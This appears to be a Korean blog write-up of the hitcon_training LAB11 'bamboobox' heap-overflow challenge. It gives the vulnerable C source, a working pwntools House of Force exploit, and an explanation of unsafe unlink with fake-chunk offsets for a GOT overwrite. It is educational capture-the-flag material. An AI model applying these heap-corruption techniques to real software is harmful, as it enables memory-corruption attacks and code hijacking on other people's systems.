ghkdtlwns987
[hitcon_training] LAB11 (bamboobox) 본문
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
int size ;
char *name ;
};
struct item itemlist[100] = {0};
int num ;
void hello_message(){
puts("There is a box with magic");
puts("what do you want to do in the box");
}
void goodbye_message(){
puts("See you next time");
puts("Thanks you");
}
struct box{
void (*hello_message)();
void (*goodbye_message)();
};
void menu(){
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}
void show_item(){
int i ;
if(!num){
puts("No item in the box");
}else{
for(i = 0 ; i < 100; i++){
if(itemlist[i].name){
printf("%d : %s",i,itemlist[i].name);
}
}
puts("");
}
}
int add_item(){
char sizebuf[8] ;
int length ;
int i ;
int size ;
if(num < 100){
printf("Please enter the length of item name:");
read(0,sizebuf,8);
length = atoi(sizebuf);
if(length == 0){
puts("invaild length");
return 0;
}
for(i = 0 ; i < 100 ; i++){
if(!itemlist[i].name){
itemlist[i].size = length ;
itemlist[i].name = (char*)malloc(length);
printf("Please enter the name of item:");
size = read(0,itemlist[i].name,length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}else{
puts("the box is full");
}
return 0;
}
void change_item(){
char indexbuf[8] ;
char lengthbuf[8];
int length ;
int index ;
int readsize ;
if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
printf("Please enter the length of item name:");
read(0,lengthbuf,8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0,itemlist[index].name,length);
*(itemlist[index].name + readsize) = '\x00';
}else{
puts("invaild index");
}
}
}
void remove_item(){
char indexbuf[8] ;
int index ;
if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
free(itemlist[index].name);
itemlist[index].name = 0 ;
itemlist[index].size = 0 ;
puts("remove successful!!");
num-- ;
}else{
puts("invaild index");
}
}
}
void magic(){
int fd ;
char buffer[100];
fd = open("/home/bamboobox/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}
int main(){
char choicebuf[8];
int choice;
struct box *bamboo ;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message;
bamboo->hello_message();
while(1){
menu();
read(0,choicebuf,8);
choice = atoi(choicebuf);
switch(choice){
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}
return 0 ;
}
코드는 다음과 같다.
===================House Of Force 문제풀이===================
간단히 add_item() 을 이용해 malloc() 해주고
change_item() 을 통해 malloc() index 를 입력해 값을 수정한다.
House_of_force 에서 이용할 함수는 이 두개 뿐이니, 나머진 생략하겠다.
난 case 5: 를 하게되면
bamboo->goodbye_message() 를 maigc() 함수로 바꿔 넣어주겠다.
그럼 먼저, top_chunk 를 덮어쓸 것이다.
0xa172a8 에 top_chunk 의 size 가 저장된다.
그리고 change_item() 을 이용해 0xa172a8에 top_chunk를 저장해 준다.
정상적으로 덮였다.
그럼 난 goodbye_message 에 maigc() 함수를 넣어주어야 하므로
goodbye_message - top_chunk_addr - 0x8 을 해줄 것이다.
goodbye_message 의 주소는 0xa17260 에 저장되어 있다.
그래서 0xa17260 - 0xa172a8 - 0x10 을 계산해보면 -80 이 나와서 해봤더니 안됬다..
전에 언급했더 싶이 0x10(metadata) 를 빼주고, 0x8로 정렬이 되기 때문에
-0x8 을 빼주면 더욱 정확한 연산이 가능해진다.
고로 -88을 빼서 다시한번 해보자.
성공!
from pwn import*
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
r = process('./bamboobox')
elf = ELF('./bamboobox')
gdb.attach(r)
exit_got = elf.got['exit']
magic = elf.symbols['magic']
goodbye_message = elf.symbols['goodbye_message']
def log_message():
log.info('main+210(show_item)')
log.info('main+222(add_item)')
log.info('main+234(change_item)')
log.info('main+246(remove_item)')
log.info('exit_got = '+hex(exit_got))
log.info('magic = '+hex(magic))
log.info('goodbye_message = '+hex(goodbye_message))
pause()
def show():
r.sendlineafter('choice:','1')
def add_item(size,name):
r.sendlineafter('choice:','2')
r.sendline(str(size))
r.sendline(str(name))
def change_item(index,length,name):
r.sendlineafter('choice:','3')
r.sendline(str(index))
r.sendline(str(length))
r.sendline(str(name))
def remove_item(index):
r.sendlineafter('choice:','4')
r.sendlineafter('index of item:',str(index))
def exit():
r.sendline('5')
def main():
log_message()
#goodbye_message - top_chunk_addr - 0x10(metadata) - 0x10(prev_size, size)
payload = ''
payload += 'A'*40
payload += p64(0xffffffffffffffff)
add_item(32,'A'*0x10)
change_item(0,48,payload)
add_item(-88,'AAAA')
add_item(16,p64(magic)*2)
exit()
r.interactive()
if __name__ == '__main__':
main()
===================Unsafe unlink 문제풀이===================
내가 알던 Unsafe unlink 기법은 Ubuntu 18.04 에서는 되질 않아, Ubuntu 16.04 로 했다.
unlink 취약점같은 경우는 free() 진행시, unlink 매크로에 의해 발생하는데,
how2heap 문서를 보면 unsafe unlink 같은 경우는 리눅스에서 Ubuntu14.04, 16.04 에서 적용된다.
그럼 unlink 매크로 코드를 보자
glibc2.23 과 glibc2.26 버젼에서의 코드 차이를 확인해보자.
왼쪽이 glibc 2.23 에서의 malloc, 오른쪽은 glibc 2.26 에서의 malloc() 코드이다.
자세하게 알 필요는 없고, '이런부분이 다르구나!' 라는정도만 알아두자.
그럼 unsafe unlink 취약점이란게 뭔지 알아보도록 하겠다.
glibc.2.23 코드를 보면
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD;
맨 위쪽 코드를 보면
FD = P->fd; 로 인해 FD 포인터에 이전 포인터 fd 값을 저장한다.
BK = P->bk; 로 인해 BK 포인터에 이전 포인터 bk 값을 저장한다.
그리고 if 문을 통해 FD->bk != P 와 BK->fd !=P 가 서로 다르다면 에로코드를 출력하고 종료가 된다.
=> FD->bk 와 BK->fd 가 서로 같은 chunk 인지 검사한다.
(사실은 이전 glibc2.23 이전 버젼에서는 이러한 검증 코드도 없어 unlink 취약점을 공략하기 쉬웠는데, 한층 업그레이드 됬다..)
만약 if 문을 통과한다면
FD->bk 포인터에 BK 값을 저장하고,
BK->fd 포인터에 FD 값을 저장한다.
Ubuntu16.04 에서부터는 (glibc2.23) 이 if 문을 우회시켜야 한다.
(+glibc2.27(Ubuntu 18.04)에서도 될거같긴 한데 이는 추가로 연구해 봐야겠다.)
우선 문제풀이에 대한 글이기 때문에,
glibc2.23 을 기준으로 Exploit 해보도록 하겠다.
unsafe unlink 기법은 Fake Chunk 를 구성해 주는것이 핵심이다.
Fake Chunk 라는 것은 가짜(Fake) Chunk 를 넣어줌으로서 시스템이 이게 실제 힙인지 착각하도록 하는 것이다.
이해를 돕기 위해 그림으로 표현해 보겠다
heap 을 보기쉽게 간단하게 표현해 봤다(실제는 저거와 좀 다름)
정상적인 heap 에서는 다음과 같이 서로를 가리키는데,
unlink 매크로가 실행되면
다음과 같이 연결이 된다.
Fake Chunk 를 구성하는데 있어 이러한 검증 코드를 우회해서 Unlink 시켰을 때
병합이 이루어 지면서 FD나 BK 의 주소에 0x1000 이란 값을 넣었다면
다음chunk 가 할당되게 되면 FD 나, BK 에 값을 overwrite() 할 수 있다는게 Unsafe Unlink 매크로이다.
그렇다면 이 문제를 unsafe unlink 기법으로 Exploit 해보겠다.
다음과 같이 3개의 힙을 각각 128 바이트씩 할당해 주었다.
다음으로 edit() 함수로 0번째 chunk 를 수정해 주었기 때문에, prev_size = 0 으로 해 주고, size 의 값도 0으로 설정해 주면 된다.
그 다음 0x6020b0 , 0x6020b8 의 주소는 뭐냐면,
위에 있는 C소스코드를 보면 itemlist 포인터의 주소이다.
난 itemlist 의 주소에 magic() 함수의 주소를 overwrite() 해 줄 것이다.
itemlist 포인터의 주소는 0x6020c8인데, 각각 0x6020b0, 0x6020b8 의 주소가 들어갔는데,
이러한 이유는 fd 의 주소는 x64이기 때문에 8byte 씩 정렬이 되는데,
(itemlist-24) , (itemlist-16) 을 각각 fd,bk 로 넣어주면
fd 에는 0x6020c8, bk에도 0x6020c8 이 들어가게 된다.(각각 8byte 씩 떨어져 있기 때문에)
나머진 dummy() 를 넣어준다(128 - 32) = 96
그리고 다음 heap 의 prev_size 와 size를 넣어줄 것이다(각각 0x80, 0x90)
이후에 remove(1) 을 해 주고 0번째 chunk에 Dummy(24) + atoi_got 를 넣고,
또 다시 change(0) 으로 magic() 주소를 넣어주면 된다.
그림으로 표현하면 다음과 같다.
다음과 같이 3개의 malloc()을 할당했다.
이후 delete(1) 로 index 2번째의 heap을 free() 시키고, unlink 매크로가 발생하게 되는데,
change(0,'A'*24+atoi_got) 를 넣어주면 bk 에 atoi_got 가 들어간다.
위와같이 되는 모습이다.
왜 prev_size 에 magic() 이 들어가게 되어 exploit 이 되는지 모르겠다면
위의 표를 조금만 더 들여다 보도록 하자.
'hitcon_training' 카테고리의 다른 글
[hitcon_training] LAB 15 (zoo) (0) | 2020.09.24 |
---|---|
[hitcon_traininig] LAB 14 (magicheap) (0) | 2020.09.21 |
[hitcon_training] LAB13 (Extend Chunks) (0) | 2020.09.11 |
[hitcon_training] lab 12 (secretgarden) (0) | 2020.09.07 |